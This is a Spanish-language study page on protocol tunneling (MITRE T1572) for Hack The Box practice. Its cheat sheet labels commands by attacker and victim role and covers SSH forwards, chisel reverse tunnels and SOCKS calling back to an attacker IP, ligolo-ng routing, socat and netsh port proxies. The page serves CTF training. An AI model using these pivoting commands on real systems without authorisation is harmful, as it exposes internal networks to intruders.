T1572

Túneles

Encapsular tráfico dentro de otro protocolo (SSH, HTTP) para llegar a servicios internos.

Cómo aparece en Hack The Box

Cuando ss -tulnp muestra servicios en 127.0.0.1 o hay una red interna, trae el puerto con ssh -L o chisel, o monta una interfaz con ligolo-ng para usar tus herramientas sin proxychains.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Se muestran 48 de 56. Entra en cada técnica del catálogo de arriba para verlas todas.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Port forwarding y pivoting › SSH

Traer un puerto interno (local) Atacante
ssh -L 8080:127.0.0.1:8080 [email protected]

Después abre http://127.0.0.1:8080 en tu navegador.

Proxy SOCKS para toda la red interna (dinámico) Atacante
ssh -D 1080 -N [email protected]
Sacar un puerto de la víctima hacia ti (remoto) Víctima
ssh -R 8080:127.0.0.1:8080 [email protected] -N

Port forwarding y pivoting › chisel

Servidor en tu máquina Atacante
./chisel server --reverse -p 8000
Cliente en la víctima Víctima
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080
Cliente en la víctima Víctima
./chisel client 10.10.14.5:8000 R:socks

Abre un SOCKS5 en el puerto 1080 de tu máquina.

Windows Víctima
.\chisel.exe client 10.10.14.5:8000 R:socks

Port forwarding y pivoting › ligolo-ng

Crear la interfaz en tu máquina Atacante
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
En la consola de ligolo (elige la sesión y arranca) Atacante
session
start
Ruta a la red interna Atacante
sudo ip route add 172.16.1.0/24 dev ligolo

Cambia 172.16.1.0/24 por la red interna; la calculadora de subredes te ayuda a sacarla.

Port forwarding y pivoting › Otros

socat (reenviar un puerto) Víctima
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80
Windows (netsh, como administrador) Víctima
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10

Chisel › Más usos

Varios puertos en un solo cliente Víctima
./chisel client 10.10.14.5:8000 R:3306:127.0.0.1:3306 R:8080:127.0.0.1:8080

Ligolo-ng › Versiones recientes (0.6 o superior)

Crear la interfaz y la ruta desde la consola del proxy Atacante
interface_create --name ligolo
route_add --name ligolo --route 172.16.1.0/24
tunnel_start --tun ligolo
Llegar a los puertos locales de la víctima (127.0.0.1) Atacante
sudo ip route add 240.0.0.1/32 dev ligolo

La IP especial 240.0.0.1 apunta al localhost del agente.

Herramientas

Chuletas relacionadas